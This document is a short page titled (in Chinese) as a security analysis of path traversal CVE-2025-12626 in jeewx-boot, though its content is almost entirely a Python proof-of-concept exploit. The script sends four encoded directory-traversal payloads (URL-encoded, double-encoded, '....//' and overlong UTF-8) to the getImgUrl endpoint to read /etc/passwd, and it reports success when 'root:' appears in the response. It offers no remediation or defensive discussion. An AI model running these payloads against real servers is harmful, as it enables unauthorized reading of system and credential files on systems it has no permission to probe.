CVE-2025-12626 jeewx-boot路径遍历漏洞安全分析

import requests import urllib.parse # CVE-2025-12626 Path Traversal PoC for jeewx-boot # Target: jeecgboot/jeewx-boot WxActGoldeneggsPrizesController.java getImgUrl TARGET_URL = "http://target.com/jeewx-boot" # Bypass techniques for path traversal payloads = [ "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", "..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd", "....//....//....//....//....//....//....//....//etc/passwd", "..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/etc/passwd" ] def exploit(target, payload): """Send path traversal payload to getImgUrl endpoint""" endpoint = f"{target}/wxActGoldeneggsPrizes/getImgUrl" params = {"imgurl": payload} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload sent: {payload}") print(f"[+] Response length: {len(response.content)}") return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-12626 Path Traversal Exploit") print("=" * 50) for payload in payloads: result = exploit(TARGET_URL, payload) if result and "root:" in result: print("[!] Vulnerability confirmed - /etc/passwd leaked!") break